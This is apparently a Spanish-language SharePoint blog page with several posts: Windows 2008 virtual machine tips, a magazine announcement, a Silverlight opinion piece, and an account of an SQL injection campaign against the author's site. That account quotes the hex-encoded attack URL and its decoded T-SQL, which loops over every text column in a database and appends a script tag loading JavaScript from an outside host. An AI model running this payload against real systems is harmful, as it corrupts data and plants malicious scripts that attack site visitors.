SharePoint en Windows 2008: una píldora amarga, pero saludable

En estos días, aprovechando que me han quedado un par de horas sueltas, me he puesto a rehacer mis maquinas virtuales. Las pobres sufren tanto, que de vez en cuando hay que jubilar las antiguas y crear nuevas.

Para estar al día, me ha dado por utilizar el “nuevo” Windows 2008. Con resultados… digamos… sorprendentes. Hasta ahora, fuera de haber instalado un par de veces a SharePoint en Windows 2008 para ser usado en servidores de prueba o producción, nunca lo había utilizado para una de mis maquinas virtuales de trabajo cotidiano. Siempre me ha gustado la velocidad del nuevo Windows para instalarle software, SQL cuesta un par de minutos, inclusive el mismo Windows es bastante rápido e indoloro para instalar. Hay que acostumbrarse a algunas cosas nuevas, como la pantalla administrativa de IIS, por ejemplo, pero rápidamente se le encuentra el gusto al asunto, y se nota que en realidad el sistema es más rápido.

Y más grande, y usa más espacio de disco duro, y más memoria… pero eso no es nada nuevo: cada Windows es más y más y más… Cuando hace un par de años una maquina virtual con Windows 2003 cabía comprimida en un CD, ahora se gasta nada más y nada menos que 6,5 GB solo para Win 2008: comprimida cabe apenas en un DVD, pasamos de un CD a un DVD en cuestión de un par de años. Y memoria, hace no mucho tiempo, con un MB de RAM era suficiente para usar XP y SharePoint 2003 sin ningún problema. Ahora Vista se traga por si mismo más de un MB, y a cada Maquina Virtual le tengo que meter por lo menos 1,5 MB para que funcione más o menos bien.

En fin, volviendo al cuento del principio, lo que necesito en una Maquina Virtual es bastante sencillo: Windows 2008, Office 2007 (Word, Excel, InfoPath, Outlook y SharePoint Designer), SQL 2005 (por eso de que todavía [todavía!!!] no ha salido un 2008 definitivo), Visual Studio (Team Suite, por eso de ser vanidoso y por deformación profesional) y WSS o MOSS. Y, por supuesto, mi colección de herramientas indispensables, pero esas no cuentan pues son bastante pequeñas en tamaño. Una maquina similar, creada con Windows 2003 R2 utiliza aproximadamente 5 GB de disco duro. Con Windows 2008, se me va a 12 GB, mas de dos veces el tamaño. Pero eso sí, funciona bastante rápido…

Y ahora, para no dar la lata más sobre el asunto, el par de lecciones aprendidas:

1 – Por eso de que VMWare hace maquinas virtuales con un disco duro de 16 GB por defecto (y soy tan perezoso que no se lo cambio), cuando terminas de instalar todo el rollo con Windows 2008 te quedas sin espacio. Para aumentar el tamaño del disco duro de una Maquina Virtual de VMWare, cierre Windows en el guest y utilice el comando:

                       Vmware-vdiskmanager -x [tamaño]GB [NombreArchivo].vmdk

(No debe haber SnapShots presentes). Cuando el proceso termine, inicie Windows de nuevo, y con las herramientas propias de Windows expanda la partición para que utilice todo el espacio nuevo. Fantástico, se puede realizar en cosa de minutos, y yo no tenía ni idea que se podía hacer (me costó un par de horas para encontrarlo, cosas de la ignorancia).

2 – Cuando estas usando Windows 2008 y quieres guardar un documento Word directamente en una Librería de SharePoint, el sistema simplemente no te lo permite: la Librería no aparece por ninguna parte en el explorador. Lo mismo si quieres usar la “Vista de Explorador”. Las dos cosas, pero sobre todo la primera son simplemente indispensables para trabajar con SharePoint. Pero no hay que desesperar: lo que hay que hacer es activar la Feature “Desktop Experience” de Win 2008, lo que permite hacer todo lo que quiero con SharePoint… y que también me instala el Media Player, el Windows Sidebar y la Photo Gallery, de los que no tengo ninguna necesidad, y que no hacen más que ocupar espacio. Pero eso no es tan malo, lo peor es que también me instala Aero, la interface grafica de Vista. Afortunadamente, el servicio que la activa (“Themes”) esta desactivado por defecto (por favor, por favor, no lo active por ningún motivo…). Otras dos horas perdidas buscando como hacer que Word funcionara con SharePoint en Windows 2008…

3 – Como no hay mal que por bien no venga, ni cuerpo que lo resista (o algo por el estilo), el Desktop Experience me instala también el botón de “Disk Cleanup” en la pantalla de propiedades del explorador de Windows, lo que me permite rápidamente limpiar el sistema, desfragmentarlo y reducirlo de tamaño con las herramientas de VMWare.

4 – Algunas cosas siguen sin funcionar:

– “Run As” no es aceptado de ninguna manera, así que ahora no puedo arrancar a IE con las credenciales de otro usuario… hmmm… lo único es cambiar el usuario usando el menú de SharePoint, pero yo preferiría que IE tuviera las credenciales buenas desde el principio

– El IE Developers ToolBar tampoco funciona. Se puede instalar e iniciar, pero eso es todo… todos los menús están en gris, y nada funciona… fui yo el que metió la pata en algún lado, o es que en realidad no funciona? Hasta ahora no he podido encontrar nada googleando…

– Arrastrar un archivo hacia la pantalla de Comandos tampoco está permitido (grrrrr….). Ahora hay que escribir todo el camino hasta el directorio que necesitas, lo que no es muy divertido con SharePoint si quieres usar stsadm (ustedes me entienden…)

– Si creas varios usuarios, todos aparecen en la pantalla de LogIn de Windows (no solamente el ultimo elegido, como lo hacía Windows 2003). Con un par de usuarios no hay problemas, pero cuando tenga que crear un par de cientos para hacer pruebas de carga o algo así? Voy a tener la pantalla de Login llena de usuarios? Supongo que habrá alguna manera de evitarlo, pero de nuevo, mi ignorancia es más grande que mi falta de conocimientos…

5 – Pero hay que ser sinceros… las maquinitas estas funcionan que da gusto…

PS: Alguien me puede explicar porque dos instalaciones idénticas de Windows, la una en ingles y la otra en español, la en español es 40’501.248 bytes más grande? Un poco exagerado para un par de Resource Files extras con cadenas en español, pensaría yo…

Gustavo – http://www.gavd.net/servers/
Escriba un Comentario que me haga reir…

Gracias señores (*!@#$%!!) por intentar hackear mi sitio… me han enseñado mucho sobre SharePoint

Desde hace un par de semanas los logs de mi sitio, SkunkWorks (el sitio ese dedicado a información sobre SharePoint, tal vez ustedes lo hayan visto alguna vez), están llenos de errores. Por eso de la deformación profesional, en el sitio tengo un Modulo HTTP que cuando ocurre algún error me envía un E-mail avisándome, así que mi Outlook esta simplemente a reventar de errores producidos, registrados y enviados.

Los errores son todos del tipo:

 

http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=inf&itm=429;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323535292044

45434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616

D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E7320622057

45205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);

 

Como estoy acostumbrado a recibir ataques de todo tipo en el sitio, en el principio no le he parado muchas bolas al asunto, pues mientras pueda detectar el ataque significa por defecto que el ataque ha fracasado. Pero en los últimos días la cosa es realmente una pesadilla, llegando a tener cientos de request por hora del mismo tipo.

Aprovechando un par de minutos de respiro, me he puesto a googlear al respecto, y para mi sorpresa veo que en el último par de meses este ataque se ha convertido en una real epidemia en Internet. De que se trata? Muy sencillo…

Como pueden ver, no es más que una inyección de código en el URL. Utilizando SQL se puede descifrar fácilmente la constante hexadecimal que están usando, lo que resulta que es algo por el estilo a:

 

DECLARE @T VARCHAR(255)

DECLARE @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR

SELECT [A].[Name], [B].[Name]

FROM sysobjects AS [A], syscolumns AS [B]

WHERE [A].[ID] = [B].[ID] AND

[A].[XType] = ‘U’ /* Table (User-Defined) */ AND

([B].[XType] = 99 /* NTEXT */ OR

[B].[XType] = 35 /* TEXT */ OR

[B].[XType] = 231 /* SYSNAME */ OR

[B].[XType] = 167 /* VARCHAR */)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE (@@FETCH_STATUS = 0)

BEGIN

EXEC(‘UPDATE [‘ + @T + ‘] SET [‘ + @C + ‘] = RTRIM(CONVERT(VARCHAR, [‘ + @C + ‘])) + »<script src=»http://www.[algunHP].com/2.js»></script>»’)

FETCH NEXT FROM Table_Cursor INTO @T, @C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

 

Mirando por aquí y por allá, resulta que la consulta lo que pretende es inyectar una referencia a un JavaScript en todos los valores de todas las columnas del tipo texto, sysname o varchar de todas las tablas en la Base de Datos. El JavaScript es un “Cross-Site Scripting Persistent” ataque que en teoría puede hacer de todo, desde meter propaganda en el sitio hasta introducir worms y troyanos en el computador del usuario. Si desea ver un análisis del query, los artículos “SQL Injection: More of the same” de Johannes Ullrich y “ASCII Encoded/Binary String Automated SQL Injection Attack” de Michael Zino ofrecen toda la información que desee saber sobre el tema.

Así que la cosa es seria. Y como reacciona SharePoint ante un ataque de este tipo? Por lo que he visto, bastante bien. Si lo desea probar, verá que en el primer request aparece muy ligeramente un JavaScript intentando hacer una redirección a un sitio fuera del dominio, pero el ataque es detectado inmediatamente y aparece una página de error de IIS (HTTP 400 Bad Request). Desafortunadamente en un sistema por defecto el error se logea solamente en IIS, no en SharePoint. Una búsqueda ligera en las tablas de SQL de SharePoint y en el código fuente de las páginas del Portal tampoco indican que el ataque ha tenido éxito.

Se puede detener el ataque? Por lo que he visto no. Las request vienen cada vez de una dirección IP diferente, de tal forma que no se pueden bloquear por ese lado. Lo único que se me ocurre es otro modulo HTTP que intercepte directamente en el URL las sintaxis sospechosas y las rechace automáticamente, pero eso no detiene el ataque, solamente lo para en la puerta de entrada, lo que ya está haciendo SharePoint por sí mismo. La respuesta parece que también es muy sencilla: habrá que esperar pacientemente a que se aburran y me dejen en paz…

En cualquier caso, todo esta historia es solamente para darles las gracias a los… como llamarlos… las palabras que se me vienen a la boca no se pueden escribir en un sitio como este… dejémoslos en “señores”, que están intentando tan fervorosamente romper mi sitio: en un par de horas he aprendido un montón sobre SQL e inyección de código… lo único es que sigo sin entender porque alguien se dedica a hacer algo así…

Gustavo – http://www.gavd.net/servers/
Escriba un Comentario que me haga reir…

Segundo numero de CompartiMOSS, revista especializada sobre SharePoint en español

El segundo numero de CompartiMOSS, la revista especializada sobre SharePoint en español acaba de aparecer. Puede encontrar el nuevo número del magazine en http://www.gavd.net/servers/compartimoss/compartimoss_main.aspx como un archivo pdf (dividido en dos partes para facilitar la descarga).

En este numero:

  • Editorial
  • Busquedas empresariales (Vladimir Medina)
  • Gestión Eficiente de LOGS en SharePoint (Hector Insua)
  • El Centro de Registros de MOSS (Gustavo Velez)
  • Validación de datos en la Data Form WebPart (Juan Carlos González Martín)
  • Timer Jobs (Àlex Peláez Membrado)
  • Secciones fijas

La idea de la revista es propagar el uso y conocimiento de SharePoint. Todas las personas que trabajan con SharePoint en el mundo hispanohablante están invitadas a participar.

La subsistencia de la revista depende no solo de la aceptación del magazine, sino de los aportes en artículos, ideas, experiencias de todos nosotros. Si desea tomar contacto con los editores, en la revista misma encontrara toda la información necesaria, o escriba sus comentarios directamente a compartimoss@gavd.net.

Gustavo – http://www.gavd.net/servers/
Escriba un Comentario que me haga reir…

El futuro de aplicaciones enriquecidas y la red, mirado desde la perspectiva de SharePoint

Para rematar en estilo una semana de esas raras, me he puesto a mirar el cerro de E-mails acumulados, y me he encontrado un artículo de Michael K. Campbell en WindowsDev Pro (“The Future of Rich Internet Applications and the Web”). He estado buscando el articulo en Internet sin poderlo encontrar, así que no puedo dar una referencia, pero si a alguien le interesa leerlo, háganmelo saber y se los envío a vuelta de correo.

El artículo se trata de las modas que van y vienen (y desaparecen) en nuestro mundo informático, y sobre el tema de “Aplicaciones Enriquecidas” (“Rich Internet Applications”), o como lo llaman por ahí, el Web dos. Su premisa es que HTML, a pesar de todos los SilverLight de este mundo, seguirá vivito y coleando por este mundo virtual por muchos años más.

Como ejemplo representativo comenta del SQL CLR. No tiene ni idea que es el SQL CLR? Pues de eso se trata realmente, de que ya nadie se acuerda que es eso. El SQL CLR es la posibilidad de escribir código para SQL directamente desde CSharp o Visual Basic, sin tener que usar el T-SQL. Cuando el asunto apareció hace años en los betas de Yukon, todo el mundo estaba entusiasmado y dispuesto a usarlo. Yukon se convirtió en SQL 2005, SQL 2005 vino y se volvió a ir, y en el intermedio nadie ha creado un solo renglón de código en CSharp para conversar con SQL. Probablemente “nadie” es exagerado, pero como el señor Cambell dice, el no conoce a nadie que lo haya utilizado alguna vez, y yo menos aun.

Algo similar puede ocurrir con Silverlight. Silverlight es una enorme promesa, por su riqueza y potencia. Gracias a las herramientas que Microsoft ha creado para ser utilizadas con Silverlight, la cantidad de código que hay que escribir para hacer algo bueno, bonito y rápido es mínimo. Que Silverlight es el “killer” de Macromedia Flash, más o menos todo el mundo está de acuerdo. Flash fue hace diez años la promesa que es ahora Silverlight, y ya vemos en que se ha convertido: el medio para crear propaganda que nadie quiere ver. En realidad Flash se va a morir por sus características autistas: si alguna vez ha intentado hacer comunicar un video Flash con el mundo exterior, se habrá dado cuenta que es más o menos entre dificilísimo e imposible… problema que parece no está teniendo Silverlight.

Pero no todo es color de rosa para Silverlight, y algunas de sus características son inherentemente débiles. Como Michael Campbell comenta en su artículo, el problema mayor de técnicas como Flash o Silverlight es que son dirigidas a mejorar la “Experiencia del Usuario”, olvidando que detrás de imágenes bonitas y videos agarradores, de lo que la red se trata es de contenido. Es decir, la experiencia del usuario muestra solamente el contenido que (en su mayoría) se genera dinámicamente, y que por la manera intrínseca de funcionamiento de Flash o Silverlight, es invisible para maquinas de búsqueda: Google o Yahoo o Microsoft Live (alguien usa MS Live?) son incapaces de indexar contenido presentado con estas técnicas. Y para empresas que basan sus ingresos en número de visitantes (que es lo que mueve en realidad a Internet), estas técnicas, aunque muy interesantes visualmente, no son interesantes comercialmente.

Extrapolando el asunto a SharePoint, el asunto no solo es de indexación de contenido (al motor de búsqueda de SharePoint lo podemos configurar para que busque directamente en el contenido del sistema, sin necesidad de indexar las pantallas), sino que, a pesar de que es posible usar Silverlight para crear WebParts, la técnica es prácticamente inutilizable por complicada y poco confiable. Por supuesto que cada vez vemos mas y mas sitios de SharePoint usando a Silverlight, pero yo personalmente no me atrevo a crear una intranet o extranet para un cliente mío usando Silverlight pues no puedo garantizar que el asunto seguirá funcionando sin problemas por los próximos años, y con cargas incrementales de utilización. Alguien ha hecho pruebas de carga, por ejemplo, de un sitio con una WebPart creada con Silverlight? No que yo sepa…

PS: Cambiando de tema, me había prometido no comentar nada sobre el asunto, pero me parece que es injusto con todos los amigos que me han escrito los últimos días, enviándome sus congratulaciones. En realidad, nada del asunto habría sido posible sin este grupo de amigotes cabeciduros que se les había metido la ida terca de que Microsoft y yo tuviéramos un vínculo de trabajo más estrecho. En fin, ellos lo han logrado, y yo se los agradezco de corazón. A ver con que resultamos en los próximos años, ahora que podemos colaborar más estrechamente para divulgar a SharePoint como el producto grande que es… de nuevo, gracias a todos, ellos y ellas…

Gustavo – http://www.gavd.net/servers/
Escriba un Comentario que me haga reir…